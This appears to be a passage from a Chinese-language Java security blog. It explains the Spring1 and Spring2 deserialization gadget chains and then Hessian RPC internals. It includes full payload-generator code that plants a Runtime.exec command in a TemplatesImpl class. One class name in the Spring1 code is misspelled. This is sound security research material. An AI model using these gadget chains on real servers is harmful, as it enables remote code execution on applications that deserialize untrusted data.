1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 class AnnotationInvocationHandler implements InvocationHandler , Serializable { private final Class<? extends Annotation > type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; } public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; } }
因此我们可以通过 AnnotationInvocationHandler 代理接口实现任意对象返回。
然而我们并不能直接通过 AnnotationInvocationHandler 代理 TypeProvider 接口并设置 getType 方法返回 TemplatesImpl。
这是因为 JDK 的 Proxy 会为接口方法生成类似这样的桩代码:
1 2 3 public final Type getType () { return (Type) h.invoke(this , m_getType, null ); }
也就是说,无论你的 InvocationHandler 返回什么 ,这里都会被强制转成 Type。TemplatesImpl 并不实现 java.lang.reflect.Type,因此会立刻抛:
1 2 3 java.lang.ClassCastException: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl cannot be cast to java.lang.reflect.Type
为此我们需要让 AnnotationInvocationHandler 代理的动态代理在调用到 getType 方法时再返回一个动态代理,然后该动态代理实现 Type 接口并且由 org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler 代理。
ObjectFactoryDelegatingInvocationHandler 的 invoke 方法会把方法调用委派给 objectFactory#getObject() 获取到的对象,因此我们只需要让 ObjectFactory#getObject 返回 TemplatesImpl 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler , Serializable { private final ObjectFactory<?> objectFactory; public ObjectFactoryDelegatingInvocationHandler (ObjectFactory<?> objectFactory) { this .objectFactory = objectFactory; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); if (methodName.equals("equals" )) { return (proxy == args[0 ]); } else if (methodName.equals("hashCode" )) { return System.identityHashCode(proxy); } else if (methodName.equals("toString" )) { return this .objectFactory.toString(); } try { return method.invoke(this .objectFactory.getObject(), args); } catch (InvocationTargetException ex) { throw ex.getTargetException(); } } }
为此我们需要将 objectFactory 继续套一层动态代理,代理 ObjectFactory<?> 泛型接口,利用 AnnotationInvocationHandler 返回 TemplatesImpl。
另一种思路是寻找 ObjectFactory 的实现类满足:
实现 Serializable 接口;
反序列化后的对象的 getObject 返回值可控。
然而实际上对于 ObjectFactory 这个接口来说暂时没有发现满足上述条件的实现类,因此采用了代理这种更加复杂的实现方式。
而后续的 Spring2 利用链则是寻找了 ObjectFactoryDelegatingInvocationHandler 的替代品 JdkDynamicAopProxy。这个类的 invoke 方法将方法调用转发到 SingletonTargetSource 对象的 getTarget 方法返回的对象上。由于这里返回的对象可控,因此可以缩短反序列化链。
利用代码 高版本 JDK 的 AnnotationInvocationHandler 反序列化逻辑变了,导致该利用链失效(暂未深究)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.springframework.beans.factory.ObjectFactory;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class Spring1 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Class AIHClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor AIHConstruct = AIHClazz.getDeclaredConstructor(Class.class, Map.class); AIHConstruct.setAccessible(true ); Class OFDIHClazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler" ); Constructor OFDIHConstruct = OFDIHClazz.getDeclaredConstructor(ObjectFactory.class); OFDIHConstruct.setAccessible(true ); Map getObjectMap = new HashMap (); getObjectMap.put("getObject" , templates); InvocationHandler getObjectHandler = (InvocationHandler) AIHConstruct.newInstance(Target.class, getObjectMap); ObjectFactory getObjectProxy = (ObjectFactory) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{ObjectFactory.class}, getObjectHandler ); InvocationHandler typeHandler = (InvocationHandler) OFDIHConstruct.newInstance(getObjectProxy); Type typeProxy = (Type) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{Type.class, Templates.class}, typeHandler ); Map getTypeMap = new HashMap (); getTypeMap.put("getType" , typeProxy); Class typeProviderClazz = Class.forName("org.springframework.core.lizableTypeWrapper$TypeProvider" ); InvocationHandler getTypeHandler = (InvocationHandler) AIHConstruct.newInstance(Target.class, getTypeMap); Object getTypeProxy = Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{typeProviderClazz}, getTypeHandler ); Class MITPClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor MITPConstructor = MITPClazz.getDeclaredConstructor(typeProviderClazz, Method.class, int .class); MITPConstructor.setAccessible(true ); Object MITP = MITPConstructor.newInstance(getTypeProxy, Object.class.getMethod("toString" ), 0 ); setFieldValue(MITP, "methodName" , "newTransformer" ); return MITP; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
修复情况(≤ JDK8u71) 与 CC0/CC1 一样
Spring2 1 2 3 4 5 <dependency > <groupId > org.springframework</groupId > <artifactId > spring-aop</artifactId > <version > 4.1.4.RELEASE</version > </dependency >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 at java.lang.ClassLoader.defineClass(ClassLoader.java:642) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:142) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:346) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:383) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:483) at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:317) at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:201) at com.sun.proxy.$Proxy0.newTransformer(Unknown Source:-1) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:483) at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:202) at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:187) at org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(SerializableTypeWrapper.java:404)
原理分析 在 Spring1 链基础上有所变化,把 spring-beans 的 ObjectFactoryDelegatingInvocationHandler 换成 spring-aop 的 org.springframework.aop.framework.JdkDynamicAopProxy。
1 2 3 4 5 6 7 final class JdkDynamicAopProxy implements AopProxy , InvocationHandler, Serializable { private final AdvisedSupport advised; public JdkDynamicAopProxy (AdvisedSupport config) throws AopConfigException { this .advised = config; } }
JdkDynamicAopProxy#invoke 函数会将 this.advised.targetSource 的 getTarget 方法返回的对象与传入的方法 method 以及参数 args 一并传入 AopUtils#invokeJoinpointUsingReflection 方法。
1 2 3 4 5 6 7 8 9 public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { TargetSource targetSource = this .advised.targetSource; target = targetSource.getTarget(); retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args); }
org.springframework.aop.support.AopUtils#invokeJoinpointUsingReflection 会对传入的 target 对象调用代理的方法,并且参数也是 invoke 传入的参数。
1 2 3 4 5 6 7 public static Object invokeJoinpointUsingReflection (Object target, Method method, Object[] args) throws Throwable { ReflectionUtils.makeAccessible(method); return method.invoke(target, args); }
因此总结一下就是 JdkDynamicAopProxy#invoke 函数会将调用转发到 JdkDynamicAopProxy#advised.targetSource 的 getTarget 方法返回的对象上。
这里 advised.targetSource 的类型实际上是 org.springframework.aop.target.SingletonTargetSource,它的 getTarget 方法返回的是 target 属性。
1 2 3 public Object getTarget () { return this .target; }
advised 的类型是 org.springframework.aop.framework.AdvisedSupport,它的 setTarget 方法会实例化一个 SingletonTargetSource 对象设置到 targetSource 属性上。
1 2 3 4 5 6 7 public void setTarget (Object target) { setTargetSource(new SingletonTargetSource (target)); } public void setTargetSource (TargetSource targetSource) { this .targetSource = (targetSource != null ? targetSource : EMPTY_TARGET_SOURCE); }
SingletonTargetSource 的构造函数会将传入的 target 设置到 target 属性上。
1 2 3 4 public SingletonTargetSource (Object target) { Assert.notNull(target, "Target object must not be null" ); this .target = target; }
因此我们可以简化一下 Spring1 的反序列化链:
将 ObjectFactoryDelegatingInvocationHandler 替换为 JdkDynamicAopProxy;
将 JdkDynamicAopProxy 中的 advised.targetSource 设置为 SingletonTargetSource;
SingletonTargetSource#target 设置为 TemplatesImpl。
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.springframework.aop.framework.AdvisedSupport;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class Spring2 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Class JDAPClazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor JDAPConstruct = JDAPClazz.getDeclaredConstructor(AdvisedSupport.class); JDAPConstruct.setAccessible(true ); InvocationHandler typeHandler = (InvocationHandler) JDAPConstruct.newInstance(advisedSupport); Type typeProxy = (Type) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{Type.class, Templates.class}, typeHandler ); Map getTypeMap = new HashMap (); getTypeMap.put("getType" , typeProxy); Class typeProviderClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" ); Class AIHClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor AIHConstruct = AIHClazz.getDeclaredConstructor(Class.class, Map.class); AIHConstruct.setAccessible(true ); InvocationHandler getTypeHandler = (InvocationHandler) AIHConstruct.newInstance(Target.class, getTypeMap); Object getTypeProxy = Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{typeProviderClazz}, getTypeHandler ); Class MITPClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor MITPConstructor = MITPClazz.getDeclaredConstructor(typeProviderClazz, Method.class, int .class); MITPConstructor.setAccessible(true ); Object MITP = MITPConstructor.newInstance(getTypeProxy, Object.class.getMethod("toString" ), 0 ); setFieldValue(MITP, "methodName" , "newTransformer" ); return MITP; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
Hessian Hessian 是一种轻量级的二进制远程过程调用(RPC)框架 ,主要用于 Java 应用之间的高效通信。它提供了一种简单、高效的方式来实现分布式应用中的数据交换和远程调用。
1 2 3 4 5 <dependency > <groupId > com.caucho</groupId > <artifactId > hessian</artifactId > <version > 4.0.63</version > </dependency >
关键对象 序列化工厂
com.caucho.hessian.io.AbstractSerializerFactory:抽象序列化器工厂,是管理和维护对应序列化/反序列化机制的工厂。
1 2 3 4 5 6 7 8 abstract public class AbstractSerializerFactory { abstract public Serializer getSerializer (Class cl) throws HessianProtocolException; abstract public Deserializer getDeserializer (Class cl) throws HessianProtocolException; }
SerializerFactory:标准实现
ExtSerializerFactory:可以设置自定义的序列化机制
BeanSerializerFactory:对 Serializer 默认 Object 的序列化机制进行强制指定为BeanSerializer
IO 流对象 序列化器工厂肯定是作为 IO 流对象的成员去使用
(反)序列化器 Hessian 的有几个默认实现的序列化器,当然也有对应的反序列化器
基本使用 序列化/反序列化 当你只想要“紧凑的二进制序列化”而不需要远程调用时使用。
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;ByteArrayOutputStream bos = new ByteArrayOutputStream ();Hessian2Output out = new Hessian2Output (bos);out.writeObject(new YourDTO (...)); out.flush(); byte [] bytes = bos.toByteArray();Hessian2Input in = new Hessian2Input (new ByteArrayInputStream (bytes));Object back = in.readObject();
远程方法调用(RPC) 因为 Hessian 是一个 RPC 协议框架,因此我们首先需要定义一个需要被远程调用的接口类:
1 2 3 4 public interface HelloService { String hi (String name) ; }
基于 Servlet 的服务端 编写一个 HttpServlet,继承 Hessian 提供的 HessianServlet,并直接实现业务接口 。最后把它映射到一个 URL 即可。
这里 HessianServlet 负责读取/写回 Hessian 二进制流并分派到你的方法实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import jakarta.servlet.annotation.WebServlet;import com.caucho.hessian.server.HessianServlet;@WebServlet(urlPatterns = "/hessian/hello", loadOnStartup = 1) public class HelloServiceServlet extends HessianServlet implements HelloService { @Override public String hi (String name) { return "Hello, " + name; } }
基于 Spring 的服务端 利用 HessianServiceExporter 把任意 Spring Bean 暴露成 Hessian 端点。Spring MVC 里以 bean name 作为 URL 映射 (以 / 开头)。
1 2 3 4 5 6 @Service public class HelloServiceImpl implements HelloService { @Override public String hi (String name) { return "Hello, " + name; } }
1 2 3 4 5 6 7 8 9 10 11 @Configuration public class HessianServerConfig { @Bean(name = "/hessian/hello") public org.springframework.remoting.caucho.HessianServiceExporter helloExporter (HelloService helloService) { var exporter = new org .springframework.remoting.caucho.HessianServiceExporter(); exporter.setService(helloService); exporter.setServiceInterface(HelloService.class); return exporter; } }
上述做法来自 Spring 的 Remoting 支持:HessianServiceExporter 通过 HTTP 把接口暴露出去,客户端以 Hessian 协议访问该 URL。基于 Spring 5 及更早版本,Spring 6+ 已删除 HessianServiceExporter/HessianProxyFactoryBean 等 Remoting API。
客户端 1 2 3 4 5 6 7 8 import com.caucho.hessian.client.HessianProxyFactory;HessianProxyFactory factory = new HessianProxyFactory ();HelloService hello = (HelloService) factory.create( HelloService.class, "http://localhost:8080/yourapp/hessian/hello" ); System.out.println(hello.hi("world" ));
源码分析 服务端 初始化过程 com.caucho.hessian.server.HessianServlet 继承于 HttpServlet,因此本质上是一个 Servlet,也就拥有 Servlet 的生命周期。
在 HessianServlet 的初始化阶段会调用它的 init 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 @Override public void init (ServletConfig config) throws ServletException { super .init(config); try { if (_homeImpl != null ) { } else if (getInitParameter("home-class" ) != null ) { String className = getInitParameter("home-class" ); Class<?> homeClass = loadClass(className); _homeImpl = homeClass.newInstance(); init(_homeImpl); } else if (getInitParameter("service-class" ) != null ) { String className = getInitParameter("service-class" ); Class<?> homeClass = loadClass(className); _homeImpl = homeClass.newInstance(); init(_homeImpl); } else { if (getClass().equals(HessianServlet.class)) { throw new ServletException ("server must extend HessianServlet" ); } _homeImpl = this ; } if (_homeAPI != null ) { } else if (getInitParameter("home-api" ) != null ) { String className = getInitParameter("home-api" ); _homeAPI = loadClass(className); } else if (getInitParameter("api-class" ) != null ) { String className = getInitParameter("api-class" ); _homeAPI = loadClass(className); } else if (_homeImpl != null ) { _homeAPI = findRemoteAPI(_homeImpl.getClass()); if (_homeAPI == null ) { _homeAPI = _homeImpl.getClass(); } _homeAPI = _homeImpl.getClass(); } if (_objectImpl != null ) { } else if (getInitParameter("object-class" ) != null ) { String className = getInitParameter("object-class" ); Class<?> objectClass = loadClass(className); _objectImpl = objectClass.newInstance(); init(_objectImpl); } if (_objectAPI != null ) { } else if (getInitParameter("object-api" ) != null ) { String className = getInitParameter("object-api" ); _objectAPI = loadClass(className); } else if (_objectImpl != null ) { _objectAPI = _objectImpl.getClass(); } _homeSkeleton = new HessianSkeleton (_homeImpl, _homeAPI); if (_objectAPI != null ) { _homeSkeleton.setObjectClass(_objectAPI); } if (_objectImpl != null ) { _objectSkeleton = new HessianSkeleton (_objectImpl, _objectAPI); _objectSkeleton.setHomeClass(_homeAPI); } else { _objectSkeleton = _homeSkeleton; } if ("true" .equals(getInitParameter("debug" ))) { } if ("false" .equals(getInitParameter("send-collection-type" ))) { setSendCollectionType(false ); } } catch (ServletException e) { throw e; } catch (Exception e) { throw new ServletException (e); } }
这一阶段会初始化 HessianServlet 的一些成员变量:
1 2 3 4 5 6 7 8 9 10 private Class<?> _homeAPI;private Object _homeImpl;private Class<?> _objectAPI;private Object _objectImpl;private HessianSkeleton _homeSkeleton;private HessianSkeleton _objectSkeleton;private SerializerFactory _serializerFactory;
_homeAPI / _homeImpl —— 服务(home)接口与实现
_homeImpl:服务实现对象 (Object),真正承接业务方法调用。
如果配置了 home-class 或 service-class,就通过反射构造实例赋给 _homeImpl;
否则,若当前类是 HessianServlet 的子类 ,默认把 _homeImpl = this(即把 Servlet 自己当成实现)。
_homeAPI:对外暴露的服务接口类型 (Class<?>)。不一定非得是接口,但最好 是你的 HelloService 这类接口。
_homeAPI 被强制设成 _homeImpl.getClass()。
_homeSkeleton:根据获得的 _homeImpl 和 _homeAPI
创建 _homeSkeleton = new HessianSkeleton(_homeImpl, _homeAPI);
_homeSkeleton.setObjectClass(_objectAPI)(home 知道对象类);
请求进入 service() 时如果没有 objectId 参数,会走 _homeSkeleton.invoke(...) 完成调用分发。
_objectAPI / _objectImpl —— 对象(object)接口与实现(可选)
这是 Hessian 早期仿 EJB Home/Object 模式 的可选第二组接口/实现,面向“对象实例 ”而非“服务工厂 ”。
_objectImpl:对象实现对象;
若配置 object-class,反射创建 _objectImpl;
_objectAPI:对象接口类型;
若配置 object-api,赋给 _objectAPI;
否则若存在 _objectImpl,就回退为 _objectImpl.getClass()。
_objectSkeleton:若存在 _objectImpl/_objectAPI
会创建独立的 _objectSkeleton = new HessianSkeleton(_objectImpl, _objectAPI);
_objectSkeleton.setHomeClass(_homeAPI)(object 知道 home 类)
请求进入 service() 时如果有 objectId 参数,会走 _objectSkeleton.invoke(...) 完成调用分发。
_homeSkeleton / _objectSkeleton —— 服务器端分发器(Skeleton)
HessianSkeleton 是服务端分发器 :把 Hessian 二进制请求解包后,按方法签名反射调用 对应的实现对象,再把结果序列化回去。
init() 末尾创建:
一定会创建 _homeSkeleton;
如果没有配置 “object”,则让 _objectSkeleton = _homeSkeleton(两者同一个实例);
如果配置了 “object”,则创建独立的 _objectSkeleton 并互相设置 Home/Object 类型(用于序列化里传递类型信息)。
service() → invoke(...) → 依据是否带 objectId 选择 _homeSkeleton 或 _objectSkeleton 来处理调用。
_serializerFactory —— 序列化工厂
SerializerFactory 是 Hessian 编解码的注册中心/策略集合 :管理各种类型的(反)序列化器、白名单/黑名单策略、是否发送集合的具体实现类型等。
何时被赋值
懒加载:getSerializerFactory() 里如果是 null 才 new;
也可以提前通过 setSerializerFactory(...) 自定义。
在哪里用到
com.caucho.hessian.server.HessianSkeleton 的构造函数首先调用父类 com.caucho.services.server.AbstractSkeleton 的构造函数,然后再将第一个参数设置到 _service 上,这实际上是要被远程方法调用的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public HessianSkeleton (Object service, Class<?> apiClass) { super (apiClass); if (service == null ) { service = this ; } _service = service; if (!apiClass.isAssignableFrom(service.getClass())) { throw new IllegalArgumentException ( "Service " + service + " must be an instance of " + apiClass.getName() ); } }
AbstractSkeleton 则会根据传入的第二个参数 apiClass 初始化 _methodMap。_methodMap 是要被远程调用的对象的方法名称与 Method 对象的映射。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 protected AbstractSkeleton (Class apiClass) { _apiClass = apiClass; Method[] methodList = apiClass.getMethods(); for (int i = 0 ; i < methodList.length; i++) { Method method = methodList[i]; if (_methodMap.get(method.getName()) == null ) { _methodMap.put(method.getName(), methodList[i]); } Class[] param = method.getParameterTypes(); String mangledName = method.getName() + "__" + param.length; _methodMap.put(mangledName, methodList[i]); _methodMap.put(mangleName(method, false ), methodList[i]); } }
请求处理过程 com.caucho.hessian.server.HessianServlet#service 负责处理 Hessian 的 RPC 请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 public void service (ServletRequest request, ServletResponse response) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse res = (HttpServletResponse) response; if (!req.getMethod().equals("POST" )) { res.setStatus(500 ); PrintWriter out = res.getWriter(); res.setContentType("text/html" ); out.println("<h1>Hessian Requires POST</h1>" ); return ; } String serviceId = req.getPathInfo(); String objectId = req.getParameter("id" ); if (objectId == null ) { objectId = req.getParameter("ejbid" ); } ServiceContext.begin(req, res, serviceId, objectId); try { InputStream is = request.getInputStream(); OutputStream os = response.getOutputStream(); response.setContentType("x-application/hessian" ); SerializerFactory serializerFactory = getSerializerFactory(); invoke(is, os, objectId, serializerFactory); } catch (RuntimeException e) { throw e; } catch (ServletException e) { throw e; } catch (Throwable e) { throw new ServletException (e); } finally { ServiceContext.end(); } }
其中 invoke 函数根据是否提供 objectId 决定选择 _objectSkeleton 还是 _homeSkeleton 的 invoke 方法,通常我们走的是 _homeSkeleton 分支。
1 2 3 4 5 6 7 8 9 protected void invoke (InputStream is, OutputStream os, String objectId, SerializerFactory serializerFactory) throws Exception { if (objectId != null ) _objectSkeleton.invoke(is, os, serializerFactory); else _homeSkeleton.invoke(is, os, serializerFactory); }
无论是 _objectSkeleton 还是 _homeSkeleton,最终 invoke 都会调用到 com.caucho.hessian.server.HessianSkeleton#invoke 函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public void invoke (InputStream is, OutputStream os, SerializerFactory serializerFactory) throws Exception { HessianInputFactory.HeaderType header = _inputFactory.readHeader(is); AbstractHessianInput in; AbstractHessianOutput out; switch (header) { case CALL_1_REPLY_2: in = _hessianFactory.createHessianInput(is); out = _hessianFactory.createHessian2Output(os); break ; } if (serializerFactory != null ) { in.setSerializerFactory(serializerFactory); out.setSerializerFactory(serializerFactory); } try { invoke(_service, in, out); } finally { } }
HessianSkeleton#invoke 函数会将原本的 ServletRequest 输入流和 ServletResponse 输出流封装为 HessianInput 和 HessianOutput。后面的 readObject 和 writeObject 就是基于这两个输入输出对象。
1 2 in = _hessianFactory.createHessianInput(is); out = _hessianFactory.createHessian2Output(os);
创建好输入输出流后,设置其序列化器工厂,继续 invoke,这里看到多出了一个 _service 对象:
1 invoke(_service, in, out);
这正是我们的 HelloServiceServlet 对象,它是 HessianSkeleton 的属性(init 构造 Skeleton 的时候传进来的)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public HessianSkeleton (Object service, Class<?> apiClass) { super (apiClass); if (service == null ) { service = this ; } _service = service; if (!apiClass.isAssignableFrom(service.getClass())) { throw new IllegalArgumentException ( "Service " + service + " must be an instance of " + apiClass.getName() ); } }
读取方法名(methodName),查找调用方法(getMethod,从 _methodMap 获取),根据 Method 对象获取参数个数。
接着从输入流反序列化参数,传入的是参数类型(HessianInput#readObject(Class<?> cl));
最后调用方法,并写到输出流中进行序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 public void invoke (Object service, AbstractHessianInput in, AbstractHessianOutput out) throws Exception { ServiceContext context = ServiceContext.getContext(); in.skipOptionalCall(); String header; while ((header = in.readHeader()) != null ) { Object value = in.readObject(); context.addHeader(header, value); } String methodName = in.readMethod(); int argLength = in.readMethodArgLength(); Method method; method = getMethod(methodName + "__" + argLength); if (method == null ) { method = getMethod(methodName); } if (method == null ) { if ("_hessian_getAttribute" .equals(methodName)) { String attrName = in.readString(); in.completeCall(); String value = null ; 